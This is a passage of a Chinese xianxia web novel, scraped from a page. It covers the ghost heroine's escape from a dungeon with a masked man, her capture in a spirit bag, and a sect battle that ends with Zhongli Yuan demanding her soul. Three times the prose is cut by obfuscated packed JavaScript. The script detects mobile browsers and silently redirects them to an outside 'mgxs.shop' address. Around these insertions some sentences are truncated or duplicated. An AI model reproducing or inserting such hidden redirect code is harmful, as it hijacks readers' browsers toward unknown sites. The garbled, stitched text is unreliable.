辞盈想起钟离渊讲起母亲时温柔眷恋的神色,觉得有些窝火,一时不知从哪冒出来的胆子,挑衅道:“那就要让你失望了,我师尊没有生命危险。你都不问问钟离渊过得怎么样吗?” 女人懒洋洋地蛇尾扫来扫去,漫不经心:“我问或者不问,又有什么区别?” 辞盈怒极反笑:“你说什么?三百年了,他孤零零一个人在这世上,受人欺辱,遭人唾弃,你是他娘啊!你知道他有多想你吗?你难道就一点都不关心他吗?” 女人神色复杂,看不出在想什么,盯着她看了一会儿,忽然又诡异地笑起来,吓得辞盈起了一身鸡皮疙瘩。 这女的不会是个疯子吧。 她笑得开怀放肆,仿佛想起什么特别痛快的事,笑得眼角飙出了眼泪。 “小姑娘,你到底还是墨让尘的徒弟,怎么这样关心钟离渊?你该与你师尊同仇敌忾才对。” “……” 辞盈望着这精神不正常的女人,真是多一句废话也懒得再说,转回身,继续研究那扇大门。 江鹤川为了不断摄入怨气修炼邪功,竟在暮苍山打造了这样一个巨大的地牢。为了避人耳目,这里既要隔绝声响,又不能让人感知到鬼魅怨气,故而位置挖得深不可测。 大门镶嵌在墙内,是四四方方的一块铁,触感光滑,连个把手都没有。辞盈对着严丝合缝的铁门,呆若木鸡。 46. 小笨蛋在此 夺笋。这门是谁设计的? 管它是金锁铜锁还是什么法器锁,哪怕是密码锁,总有破解的法子。可这门偏偏向内开,既没把手也没缝隙,滑得像块冰——就算外头压根没锁,她也休想拉开。 除非门外有人搭把手。 咯噔。 门外突然传来一声轻响。 辞盈懵了一瞬,试探着喊:“有人吗?” “有。” …… 她这是嘴开光了? 三百年的地牢,她才进来一天就有人来劫狱?这是什么神仙运气? “大哥,你是看守地牢的?” “我是来炸地牢的。” 听声音是个年轻人,语气却冷冰冰的,毫无活气。 “牢头大哥,您还挺幽默……” 外面大概是个i人,沉默了许久才勉强开口:“你能打开门吗?” …… 辞盈开始相信他是来劫囚的了,这种智商看不了大门。 你说呢? 我能打开我还站这儿跟你唠半天?我是被囚很爽吗? 你在讽刺我吗?嗯,你就是在讽刺我。 外面人又补充:“我这边有个锁,很简单,你用法术隔空御物就能打开。” “那您老人家怎么不自己开?” 外面人声音沉了沉:“门外有禁灵阵,我一施法就会被发现。” 原来如此。 门内门外同时陷入了沉默。 片刻之后,门外人终于忍不住问:“怎么还不动手?” 辞盈:“这个吧……隔空御物我倒是可以试试,只不过当着你们这么多人和鬼,不太方便……” “隔空御物有什么不方便?” “那什么……就是吧……” 辞盈硬着头皮一咬牙:“行,那麻烦你把耳朵堵上,我试试。” 隔空御物这种低级法术她早就学过,奈何修为太浅,连根竹筷子也折不断。后来在褚家庄,钟离渊教了她一套口诀,她始终也没等到机会亲手试验一番。 或者说,她也没好意思当着他的面儿试验。 眼下别无选择。她鬼鬼祟祟凑到门口,手上先捏了个御物诀,然后嘴唇贴在门缝上用只有门锁能听见的音量悄声道: “急急如律令,小笨蛋在此,速速显灵!” 羞耻且离谱。 辞盈觉得,自己如果还是人,脸肯定红到耳根了,但她现在只是个透明的鬼,连脸红的机会也没有。 我一定是脑子有泡不然怎么会信这种鬼话啊? 大门却意外咔哒一声。 “开了。” 外头的人顿了顿,用难以理解的语气问,“你刚才在做什么?” 不是说好了捂住耳朵的嘛! “别误会,我不是变态。”辞盈尴尬道,“只是御物的口诀罢了。” “……御物不需要口诀。” “怎么不需要?”辞盈急于证明口诀的必要性,手上又捏了个御物诀,说道,“你看我像这样直接施法能有用吗?有用吗?有用吗?” 咔哒。 门又锁上了。 “有用。”门外人波澜不惊道。 “……” 辞盈呆愣了片刻,终于反应过来。 以她后来的修为,御物什么的早就轻而易举可以实现,只是她自己不知道而已。 钟离渊就是诚心诓她出丑,狗东西! 她尬笑两声,又将锁解开,厚重的铁门豁然大敞四开,一阵阴风凉嗖嗖地穿堂而过。 辞盈与门外人蓦地对视上,当场双双愣住。 门外笔直站着个戴诡异白面具的怪人,穿一身黑色夜行衣,与背后的无边黑暗融为一体,仿佛他天生就该在那里。面具眼窝是两个黑洞洞的窟窿,似笑非笑的表情下,透着一股倨傲与冷漠。 竟然是他!在谢家堡跟她抢错金博山炉的面具人! 对方显然也认出了她,面具下的杀意森森外溢。 反正都死了,还有什么好怕的?辞盈挥挥手:“嗨,这么巧,你还活着啊。” 说话间,背后突然窜起一阵凉意。 辞盈感觉到身后无数阴森的鬼气,正摧枯拉朽地从地牢深处席卷而来! 压抑了几十年甚至几百年的怨魂乍见天光,凶恶急迫,如同海水倒灌势不可挡地冲向大门口,眼看就要将挡在门口的面具人撞散碾碎。 辞盈魂魄轻巧,立刻飞过去将他扑倒,以自身鬼气筑起一道无形的保护墙,隔开了头上呼啸而过的无数怨魂。 她也不知道为什么要帮这个面具怪。 大概是从她死掉那一刻起,对于很多事就忽然释然了。 亡魂已经够多,就希望别人能多活一天是一天吧。 数不尽的怨魂鱼贯而出,森然鬼气激烈碰撞,地牢墙体在大逃亡的冲击下轰然震颤。 面具人微微抬头想动,被辞盈用鬼气压住后脑勺,只能老老实实趴在地上。 等怨魂稍散,辞盈飘到空中向内望,地牢里只剩些蠢笨的零星鬼火,蒙头转向地乱飞,女蛇妖早已不见踪影。 面具蹭了一鼻子灰,歪歪斜斜露出底下半张脸,轮廓清瘦明晰。大概是常年不见光,他的手和脸白得像吸血鬼,毫无血色。 他略显狼狈地爬起来,正了正面具,一言不发地跑了一段,又转头问旁边的辞盈:“跟着我干什么?” “有没有可能,我也得逃出去?”辞盈无语道,“这儿还有第二条路吗?” 于是一人一鬼在黑暗狭窄的甬道里走了不知多久,像在没有尽头的地狱阶梯上跋涉,怎么走都看不见光。 辞盈本不想多话,可这地道实在诡异,忍不住问:“你进来时也走了这么久?” 面具人没吭声,只定定地看着她。 这人怕不是有点精神问题? 辞盈正皱着眉思考精神病的回答能有多少参考价值,那人却忽然开口了: “为什么救我?” “啊?”辞盈反应了一下,才想起来他指的是什么,便道,“哦,顺手的事儿,也谈不上救吧,没准儿你自己也能应付呢。” 二人又是一顿沉默暴走。 “我杀过你,你忘了?”面具人冷不防道。 “不是,你这人说话能不能一口气说完,反射弧有那么长吗?”辞盈无奈道,“我没忘,这才几个月啊,我又不是老年痴呆。” “那你还……” 辞盈无所谓地摆摆手打断:“我这不最终还是死了吗,都一样,想杀我的人多了。而且又没真死你手里,我找你报什么仇啊。” 她不想再纠缠这个话题,自言自语道:“咱俩是不是遇上鬼打墙了?可我就是鬼啊,岂有此理。” 面具人道:“不是鬼打墙,是有人听到动静赶来设了布防阵,把跑得慢的笨鬼拢一拢,及时止损。” 辞盈道:“啊,那些笨鬼岂不是很惨,好不容易有一个逃生的机会。” 面具人无声地看着她。 辞盈:“等等,笨鬼……难道是指我吗?啊?啊?你说什么?你知道我做人时候跑得有多快嘛!” 面具人无声地扭开了头。 又走了一段,辞盈又问:“我挺好奇的。你为什么要来放走这些怨灵呢?这里既没有什么法器财宝,也没见你留心在意那些怨魂,难道是为了行侠仗义?总不至于是来救我的吧,哈哈哈哈……” 她哈哈到一半,就被面具下阴鸷冰冷的眼神给吓了回去,讪讪地闭了嘴。 什么怪人,我不打听总行了吧。 辞盈转移话题:“现在怎么办,你有法子能出去吗?” 面具人依然盯着她不吭声。 辞盈:“大哥,你就别指望我了,我现在别提法器道具了,我连个尸体都没有,就剩一魂儿。” 面具人:“你不是有个好用的帮手么,在谢家堡我见过,厉害得很。” 辞盈尴尬道:“那是从前。现在别说喊不来他,万一真喊来了,我只怕会死得更快,连转世投胎的机会都没有就得被他咔嚓——”她做了个握拳碾碎的动作。 “——灰飞烟灭。” 从前钟离渊说过很多次,只要解开相思咒,他绝对会立刻弄死她,分尸,挫骨扬灰。 对此,辞盈深信不疑。 毕竟没人愿意被别人牵着鼻子走,何况她还给他找了那么多麻烦,又害他重伤吐血…… 辞盈打了个寒噤,不敢再想,只求别再碰见那祖宗。 面具人惨白瘦削的手从乾坤袋里掏出个小葫芦,拔开塞子对着她道:“进来。” “咦——”辞盈犹豫,“你不会要收了我吧?” “传送符我只有一张,你不来就算了。” “来来来!” 反正都这样了,还能更糟吗?辞盈搓搓手,一头扎进葫芦里。 这葫芦什么情况?漆黑潮湿不说,壁上还一股药味儿,像被陈年草药泡透了,又腥又苦。 这什么葫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155536|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芦啊,漆黑潮湿就算了,壁上还一股子药味儿,像被陈年草药泡透了似的,腥苦得很。 辞盈在葫芦里颠簸了一阵儿,被中药味儿熏得昏昏欲睡间,也不知走了多久,到了哪里,忽然听见一声威喝: “站住!” 辞盈瞬间清醒。 心里咯噔一下:完了。 这严厉又装B的声音,化成灰她都认得,定是江鹤川。 脚步声走到近前,语气愈发令人胆战心惊:“怨灵暴动时,你在哪里?” 什么? 辞盈心下一惊:听这意思,他俩认识? 隔着薄薄的葫芦壁,她听见面具人不卑不亢地回答:“我在炼药室。” 语气平稳得像一潭死水,任对方威逼恐吓,也掀不起一丝波澜。 江鹤川的声音更近了:“那你身上怎么会有鬼气?” 被发现了! 辞盈仿佛能感觉到那双苍老的眼睛像毒蜘蛛盯着猎物,瞬间屏住了呼吸。 葫芦突然左右猛晃,辞盈像糯米粉里的元宵,颠来倒去滚了几圈,撞得眼冒金星。才听见外头面具人说:“我见怨魂四散逃窜,擅自做主替义父拦下了部分,收在葫芦里。等我多追回一些,再一并给义父送过去。” 义父?! 辞盈吃瓜吃得目瞪口呆。 幸好江鹤川没再追问,大概是急着处理地牢的事,就这么被糊弄过去了。 葫芦又闷头走了一段,终于拔开塞子:“出来。” 辞盈一股烟似的飘出来,尴尬得不知说什么。 这是一间狭窄逼仄的暗室,貌似是从哪个偏殿划出来的隐秘隔间,连窗也没有,照明只靠墙角半截蜡烛微弱的光,比地牢亮不了多少。 除了一张矮床,只有一方旧木桌和几本书,生动演绎了什么叫家徒四壁。 面具人拿起桌上的茶壶倒了一杯水,背对着她,声音阴森:“还不走,是等我杀你灭口吗?” 嘶——这阴晴不定的怀胎。 辞盈撇撇嘴,刚走到门口,又听身后道:“你救我一次,我也救你一次,扯平了。” 辞盈转回身来笑了笑:“你以前是账房先生吗?算得这么清楚。地牢是你放我出来的,算起来还是我欠你一次。” 面具人没吭声。 她犹豫了一下,又斟酌道:“江鹤川心机深重,你在他身边搞小动作迟早会被发现……” “滚。” 辞盈没动。她望着那张似笑似嗔的面具,大致猜了个七七八八。 葫芦里的药味儿,不能见光的身份,如影随形的面具…… 很有理由怀疑,当年约见萧阳,毒死代茵的就是他。 药王谷覆灭,难道就不能有个幸存者?潜藏在不见天日的密室里卧薪尝胆十余载,拼命抢夺错金博山炉,大抵都是为了有朝一日杀上玄武教复仇。 可是他今日的举动又有什么目的? 若说打击江鹤川是因为萧阳也太过牵强。圣灵珠已经到手,墨让尘又昏迷不醒,江鹤川与萧阳的联盟十有八九是没指望了。此时削弱江鹤川岂不是更助长了另两派的势力? 莫非那地牢里还关着什么与萧阳有关的仇家? 辞盈看着面具后头露出来的眼睛,那是一双没有丝毫温度的眼睛,被绝望和仇恨浸透了,就算是死了一百年的坟墓里诈尸爬出来的鬼也不会比他更森冷。 看他如今的年纪,药王谷遭难时他大概还只是个孩子。眼看着亲人长辈尽数被屠,换了是谁都很难不变态吧。 辞盈有些同病相怜地叹了口气。 若不是她半路穿越过来,圣女这副身体的原主人其实也经历了同样的悲惨遭遇,岂能过得这样活泼洒脱、没心没肺? 她正在这边脑洞大开胡思乱想,就见面具人眼里掠过一抹杀气。 “我滚啦!” 辞盈脚底抹油,赶紧开溜。 暮苍山上已经乱了套。 浓雾阴霾,汹涌而出的怨魂还未散尽,大团大团地盘旋在山林深处。 大部分弟子虽然震惊又不解,却还是得老老实实跟着长老师父们前去善后。短暂地混乱之后,井然有序的除妖捉鬼队伍迅速出发了。 辞盈一路躲着人,鬼鬼祟祟地贴着墙根走,心里却是茫然,不知该往何处去。 按说她是鬼,却没有坟墓可依。 在这世界混了三年,竟连一个落脚之处,一个可寻之人也没有。 死无全尸,做鬼也太失败了吧。 47. 偷袭 辞盈本想去看看墨让尘,又怕撞见江羡之,只好作罢。 她倒不是信不过江羡之,只是以他那脑子,就算想伸张正义也未必办得成。恐怕他还会直接冲去找他爹对质,最后要么被三言两语糊弄回来,要么被捆起来灌一碗忘忧草洗脑——纯纯送人头。 路过后厨时,正撞见众人抱着大锅往外运汤药。卓雁行暴躁的怒吼穿透雾霭,震得山头嗡嗡响: “掉地上的叶子也往锅里扔?缺德大夫用我的锅煮药,是想砸老夫的招牌吗!哎,你把那刷锅水给我放下!” 任平生的声音却慢悠悠飘过来:“无妨无妨,草木灰入药效果更佳,刷锅水也有药效的。胖师傅,勤俭节约方能长久,这几片叶子值二钱呢。哎哎,胖师傅您快放我下来,药洒了我又白搭二两银子……” 特效药的消息一传开,山门口取药的百姓排成长龙,一眼望不到头。除了进山捉鬼的弟子,剩下的几乎全被派去发药,难怪辞盈一路下山顺顺当当,连只耗子都没碰见。 一个念头突然窜进她脑海:这空荡荡的暮苍山,简直像座大敞四开的空城,任人宰割。 话音刚落,就听“嗖”的一声,一道通红火光拖着长尾直冲云霄。那颜色穿透浓雾依旧扎眼,紧接着,尖厉的爆炸声像银针刺破沉睡的山谷,惊心动魄地在群峰间回荡。 是水云剑宗求救用的信号弹,说明后山有人进犯! 这开了光的乌鸦嘴! 辞盈条件反射就往腰间摸,发现别说剑了,连腰都没摸着,脑后却诡异地冲来一阵疾风。 不知哪来的法袋兜头便扣,辞盈没有做鬼的经验,只觉那法袋装了涡轮增压,恨不得把脑干都给吸出来,轻飘飘的魂魄瞬间便被抽入囊中。 那人系紧法袋,捂着只狰狞的瞎眼恶狠狠道:“小师妹,都是因为你,我才变成这副模样!没想到你比我更惨,几天不见,竟成了鬼。” 辞盈闷在袋里骂:“游乘风,你另一只眼也瞎了吗?信号弹看不见?还不赶紧去后山支援,在这跟我耗什么!” 游乘风怒道:“我爱干什么就干什么,轮得到你来教训我?后山死活与我何干?剑宗有好事从不记着我,凭什么有难了要我出头?” 辞盈冷笑:“这些年师尊待你不薄,江鹤川更是格外看重,怎样才算对得起你?不如直接让你做宗主算了。” “你闭嘴!那都是我应得的,是我自己挣来的!凭什么江羡之那个废物和你都能得师尊青睐?你们一个靠亲爹,一个靠美色,有什么资格跟我平起平坐?” 他嘴里骂着,脚却往后山挪。远远地,已听见刀剑相撞的铿锵声。 胡四那肥头大耳的身子又胀成巨人,两人多高,铁手“咔嚓”拧断一个水云剑宗弟子的脖子,比掰甘蔗还轻松,随手就把尸体丢进草丛。身后的九曜派弟子个个心黑手狠,招招往要害招呼。 前方胡四带人杀得血光冲天,后面却是另一番景象。 一众弟子簇拥之上,依然是昔日雷云起那个八角鎏金轿撵,只是又镀了一层金,更显得财大气粗。 真是铁打的轿撵流水的掌门,曹不义声势浩大且浮夸之风更盛前任。 轿撵前后各跟着四个俊朗的弟子,雄赳赳气昂昂一看就很行的那种,衣着也是极尽光鲜甚至奢华,沿途吹着唢呐敲锣打鼓,全然不像是来斗殴的,反倒像是送上门拜年的舞狮队。 曹不义四平八稳地仰靠在轿撵里,迎面过来的人甚至看不见他獐头鼠目的脸,只能看见鼻孔和下巴,以及脖子上挂着的硕大翡翠串珠。 他虽上了年纪,样貌猥琐,却收拾得极干净,甚至描眉扑粉,手里还捏把铁骨折扇,专用来挡飞溅的血肉,倒有几分附庸风雅的滑稽。 水云剑宗得力的弟子都随长老去捉鬼了,此时能赶来后山御敌的不是外门弟子就是后勤打杂,对上九曜派杀气腾腾的豺狼根本无一战之力,战局可谓惨烈。 胡四边杀边骂道:“一群废物也敢挡老子的道,这水云剑宗真是无趣,全是他娘的男人,连一个姑娘也没见着。” 曹不义坐得高望得远,视线略扫了一圈,神色顿时阴沉了几分,折扇往远处一指:“那儿就有一个,不过她狡猾得很,你若能抓住她就是你的。” 胡四顺着他的手指望去,鹅黄色纤细的身影正在人群中左劈右砍,姿态娇蛮令人心痒。他当即来了精神,抛下面前的敌人不管,三步并两步地冲过去。 白芷正与人打斗,忽然感到庞然大物朝自己扑来,立刻就地一滚闪到旁边。 “原来是你。”胡四狞笑,“小白芷,你义父已经把你送给我了,还不快跟我回去。” “胡猪头,你少做梦了!” 白芷手腕银铃一抖,胡四脚下地面突然伸出两只骨瘦如柴的白手,死死地抓住他小腿,十根手指深深插进肥肉里,鲜血直流。 胡四惨叫一声,强忍剧痛掰开鬼手,用法力一催,鬼手便化作一股黑烟消散无踪。他没占到便宜自己先瘸了,怒火中烧,铁手一翻朝白芷胸口抓来。 白芷急忙连退两步,已是避无可避。千钧一发之际,一道剑光横空直杀向胡四面门,逼得胡四不得不闪身躲开。 流光剑气光华璀璨,江羡之面如冠玉,横剑在胸,正色道:“水云剑宗岂容尔等等放肆!” 曹不义的轿撵晃晃悠悠地行到近前停下,轻佻地打量一番,道:“呵,这不是清衍真人的公子吗,细皮嫩肉的,胡四,你可小心点儿别把他给弄死了,待会儿我还有用呢。” 胡四最恨清秀小白脸,嗤笑道:“臭小子,腰还没我腿粗,也想学老子抢姑娘?识相的赶紧交出问心剑,然后再跪下磕头,老子或许还能饶你一命。” 原来是冲问心剑来的。 这次九曜派来势汹汹,显然是得了墨让尘重伤昏迷的消息,第一时间赶来趁人之危。 江羡之握紧流光剑,向前半步将白芷护在身后,肃然道:“今日哪怕水云剑宗只剩我一人,你们也休想带走一草一木!” 远处,辞盈在法袋里急得团团转。游乘风这王八蛋竟躲在角落,半点要帮忙的意思都没有。 胡四垂涎白芷半天,早已没了耐心。铁手如钢刀劈下,江羡之若是闪身躲开,就等于把白芷推出去迎敌,当下只好提气硬扛。 奈何胡四又厚又重,活像座长了脑袋的山,修为更是远在他之上,力量差距何其悬殊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160140|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江羡之咬着牙憋红了脸,流光剑依然不堪重负被压弯了刃。 白芷急了,提剑要冲,却被曹不义的护卫团团围住,举止轻佻地调戏起来。 “游乘风!你还是个人吗?”辞盈蒙在法袋里破口大骂,“师尊当初真是收个王八做徒弟也比你强!放我出去!我死了都比你有用!” 游乘风不耐烦地手上捏诀,朝法袋施了个禁语诀,立刻耳根清净了。 江羡之本就处于下风,又见白芷被欺辱,急火攻心,胸口一窒,嘴角渗出鲜血。 胡四大笑:“水云剑宗,不过如此!” 话音未落,忽听“啪啪”两声脆响。众人还没看清是谁,就见胡四被扇得原地转了一圈,懵头转向捂着脸骂:“谁?!谁敢打我!” 他三米多高,放眼望去没见人影,低头才瞧见个黑黢黢的炒勺正指着自己鼻子: “哪儿来的兔崽子敢在我面前撒野?要不是嫌你皮厚肉臭,老夫现在就把你剁了炖王八!”卓雁行身高不够,把炒勺举过头顶,气势总算扳回几分。 “还有你们!敲锣打鼓的,你们九曜派是死了掌门,跑来吹丧的?” 他身形矮小却也十分灵活,闪身过去,三两下便将白芷身边的虾兵蟹将尽数撂倒,又回头问江羡之:“受伤了没?” 场上局面顿时扭转,江羡之连忙道:“卓师叔,我没事。” “没事就多练功!”卓雁行嫌弃地说,“连这种货色也打不过,真给你娘……和你爹丢脸。” 江羡之红着脸道:“师叔教训得是。” 曹不义在轿撵上坐直了身子,阴阳怪气道:“我当是谁,原来是最言而有信,说到做到的卓老英雄啊。” 此话一出,卓雁行的脸“唰”地绿了。 三百年不见,这愣头青混成了一派之主来上门挑衅不说,还当众嘲讽他的痛处戳他的逆鳞。 是可忍孰不可忍! 卓雁行一炒勺抡出去,将鎏金轿撵砸了个稀巴烂。 曹不义腾地跃起,铁骨折扇凌厉带风,与卓雁行缠斗起来。同时不知从哪冒出来十几个修为身手都不俗的青衣人,见缝插针地加入围攻,一时缠得卓雁行竟无余力照顾其它。 曹不义边打边冲胡四使眼色。 本以为墨让尘不在,能速战速决拿下暮苍山,没想到半路杀出个卓雁行,再拖下去,待会儿等江鹤川带人赶来就麻烦了。 山间隐隐传来御剑穿林之音,眼看支援就要杀到。胡四下手更凶,几个回合便将江羡之逼入绝境,猛地一掌拍在他胸口,顺势追上去揪住他的衣领高高提起,狞笑道:“江小公子,这回可全靠你了。” 江鹤川带人匆匆赶来,远远地望见此番情形,不由得心里一紧。 胡四叫道:“矮老头儿,你再嚣张,我就将这小白脸的脑袋拧下来送你!” “羡儿!” 叶棠刚要往前冲,被江鹤川死死拉住,眼见儿子受伤吐血性命垂危,她急得几欲昏厥。 卓雁行气得眼珠都瞪圆了,看看身旁,又不得不咬牙收了手,退回剑宗阵内。 游乘风没找到表现的机会,装作打了半天的样子,气喘吁吁跑回弟子群里。 48. 她的魂魄,交出来 远处,一队紫衣修士浩浩荡荡而来。为首男子骑在一头似牛非牛的妖兽背上,腰背挺得笔直,气宇轩昂;身旁姑娘姿容艳丽,腰间软鞭轻垂,正与身边穿青衫的单薄年轻人说笑,像是完全没把眼前这场殊死搏杀放在眼里。 曹不义眼睛骤然一眯:“萧教主?” 萧阳在水云剑宗赖着不走,心思打得透亮。一来是萧无忧不肯挪步,二来,他心里始终惦记着那柄问心剑,总琢磨着能趁乱捞点好处。 他不是没想过直接撕破脸去抢,可又怕墨让尘哪天突然醒了,没法跟女儿交代。何况两派实力相当,真斗起来两败俱伤,反倒可能让九曜派捡了现成的便宜。 因此他既不敢下手,又舍不得走,只能耽搁在这假装求亲未遂的大冤种。 眼下三足鼎立,谁都怕贸然动了手,反倒成了别人眼中的肥肉,一时之间,竟陷入了诡异的僵局。 江鹤川临危不乱地扫过对面众人,手中拂尘悄悄攥紧,沉声发问:“阁下这是何意?” 半空中的江羡之猛地吐出一口血,却强撑着摇了摇头,示意父母不必担心。 曹不义懒得绕弯子,开门见山:“我要借贵派的问心剑一用。” 问心剑毕竟是墨翊的遗物,理当归墨让尘所有,由水云剑宗保管名正言顺,因此他只说是借。 江鹤川当即回绝:“曹掌门说笑了,问心剑乃我水云剑宗宗主至宝,岂能随意外借。” 曹不义冷笑道:“那便请宗主出来一见吧,我亲自同他商议。” 虽然有消息称墨让尘身受重伤,可究竟伤势如何他也心里没底。因而此话既是挑衅,也为试探。 江鹤川语气藏着锋芒:“宗主今日不见客,改日——宗主必登门拜访,再与曹掌门详谈今日之事。” 威胁的意味像秃子头上的虱子明摆着。 你们等着有我报仇的时候。 曹不义假装听不懂弦外之音,直接转向玄武教:“萧教主,你是帮我,还是帮他?” 萧阳哈哈一笑:“我可不爱掺和别人家的事,今日天气甚好,我只管喝茶闲逛,诸位请自便。” 正僵持着,旁边的胡四突然攥紧拳头,朝着江羡之腹部狠狠捣去。江羡之闷哼一声,冷汗瞬间浸湿衣衫,他死死埋着头,不愿让人看见自己疼得扭曲的脸。 胡四冷哼:“清衍真人,你尽可以慢慢考虑,就是不知道你儿子能挨得住我几拳。” 江鹤川沉吟片刻,面不改色道:“实不相瞒,问心剑早已不在我手中,被人抢走了。” 这话骗小孩都不信,曹不义嗤笑:“既如此,你报出名字,我去抓他来对质。” 江鹤川话锋一转:“九重幽冥暗渊的烛龙被杀,此事诸位想必都听说了吧?” 众人闻言,神色皆是一凛。 胡四立刻嚷道:“你不会想说,问心剑是被那人抢走的吧?编瞎话也得有谱!当初天罡塔下,我可是亲眼见他把问心剑当废铁一样扔了!” 江鹤川却一脸郑重:“正是钟离渊。他为了斩杀烛龙,又回来抢走了问心剑。此人性情暴戾,修为深厚,诸位都是有目共睹的。” 法袋里的辞盈听得直皱眉。 这祖宗不是刚受了重伤吗?怎么这么快就出去放飞自我了?一天不开杀戒就浑身难受是吧? 没了相思咒约束,果然是逮着什么杀什么,连藏在那什么九重暗渊的飞禽走兽都没放过。 江鹤川说得有鼻子有眼,众人心里渐渐有了几分动摇。毕竟烛龙凶险异常,谁敢赤手空拳去跟它拼命? 提起钟离渊,胡四就想起自己断手的剧痛,结结巴巴道:“你你你可真会编,谁敢去找他求证啊?” 江鹤川没理他,继续道:“烛龙之心能助人功法大进,钟离渊此举,狼子野心昭然若揭。诸位,眼下我们该做的,是联手除掉钟离渊!否则若有一日那魔头杀过来,你们谁能抵挡?” “当年一念之仁留下祸患是我的错。有过当改,如今我愿带头除恶!诸位若能鼎力相助,将问心剑夺回之后咱们一切都可从长计议。” 众人心中各自盘算。 那钟离渊性情乖戾,说不准哪天就跑到谁家去大开杀戒。不管以后谁想称霸,留他在世上都是个心腹大患。 何况若能联手杀了他,或许还能趁机夺了问心剑甚至烛龙之心,岂非是一步登天的好机会? 一时间许多人心猿意马,纷纷动了念头。 “清衍真人说得轻巧。”萧阳率先开口,“天大地大,我们难道什么都不干,天天聚在一起满世界找他?” 曹不义冷笑:“那倒也罢了。就怕哪天单独遇上了,还不如没找到。” 江鹤川面色凝重:“曹掌门说得正是。必须集合众人之力,才能除了这祸害。” 胡四骂骂咧咧:“废话!老子也知道得围起来杀!可他又不是傻子,哪那么好围!比如像今天这样的场合,难道他会自己跳出来送死吗?” 说完这句话,忽然刮来一阵阴风,胡四吹起一身鸡皮疙瘩,悚然闭了嘴。 萧无忧刚要说话,萧阳捏了一下她的手臂,做了个噤声的口型。 疾风骤起,卷起漫天碎石。悬崖边的老松在风中扭曲挣扎,山林在鬼魅般的阴风中战栗,发出凄厉的呜咽,令人毛骨悚然。 年轻又低沉的声音似带着森冷的笑意,阴魂不散般飘进每个人耳朵里: “你们想见我,这有何难?” 霎时间,所有人脸色骤变。 这疯子竟真敢送上门来! 辞盈下意识想掉头就跑,反应过来自己被困在法袋里,只好将灵识缩成小小一团,尽量弱化存在感不被发现。可是随即又一想,在场密密麻麻站满了人,谁会注意到法袋里的小鬼啊,于是又放心了许多。 胡四原本还提着江羡之在三足鼎立的正中央耀武扬威,此刻突然慌不择路地往后退,想钻进人群里躲起来。 才退两步,后背就撞到了人。胡四又急又怕,回身破口大骂:“他妈的哪个不长眼的挡老子的路……” 骂声突然卡在喉咙里,像吞了根鱼骨,吐不出也咽不下。 眼前的红衣少年俊美无俦,胡四却像见了阎王爷似的,吓得胖脸煞白,双下巴哆嗦两下,连半句求饶的话都挤不出来。 少年嘴角微微勾着,眼底却如像寒潭,带着戏谑问道:“想杀我?动手啊。” 胡四恨不得把头摇掉:“不敢!我不敢!” 水云剑宗阵内却有人高声道: “诸位莫慌!钟离渊前几日方才被我师尊所伤,又与烛龙恶斗了一场,想来此刻已是强弩之末,他不过是在硬撑罢了。” 游乘风缩在弟子堆里不露头,继续鼓动:“今日群雄皆在此,若是放虎归山,将来恐怕再无宁日啊!” 江鹤川一脸慈悲,正义凛然犹如活佛现世:“钟离渊,你若肯交出问心剑,束手就缚,我们还能饶你一命。” 这纯属冠冕堂皇的废话。傻子都能猜到答案——人家主动找上门,能二话不说就投降?难不成是活够了,千里迢迢来送人头的吗? 辞盈蹲在法袋里吃瓜。 依她所想,钟离渊八成会仰天大笑,然后二话不说,兴致勃勃地开始我杀我杀我杀杀杀。可他重伤未愈,为啥非要这时候来挑衅三大门派? 咱就是说,这个杀人瘾就这么大吗? 意外的,钟离渊却敛了笑意,正色道:“我今日来,只为寻一样东西。” 他转向水云剑宗的方向:“交出来,我便不杀你们。” 好家伙,你俩倒是各说各的啊。 曹不义好奇追问:“什么东西?” 钟离渊又在神识深处探寻了一圈。 他能感受到那一缕细若游丝的魂魄大致的位置,她就藏在水云剑宗众人之间,离他这样近,似乎触手可及,却又若隐若现,无法精准定位。 他盯着江鹤川,十指攥紧又松开,一字一句问:“她的魂魄,在哪儿?” 纳尼?!! 这个“她”不会是指她本人吧?! 要不是禁语诀封着法袋,辞盈差点儿骂出声。 钟离渊你个阴暗记仇的死小心眼!!! 我都已经死了你还不肯放过我,宁可对战三大派也要追着我杀到魂飞魄散为止?! 什么仇什么怨!不就是相思咒绑定了你几个月吗?不就是让你当了一阵子免费保镖吗?至于这么穷追不舍的玩儿命追杀我吗! 江鹤川面上毫无波澜:“钟离渊,你不要混淆视听,顾左右而言他。今日若不交出问心剑,你休想活着离开暮苍山!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160141|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 曹不义偷偷朝胡四使了个眼色,示意他离得最近,让他偷袭试试。 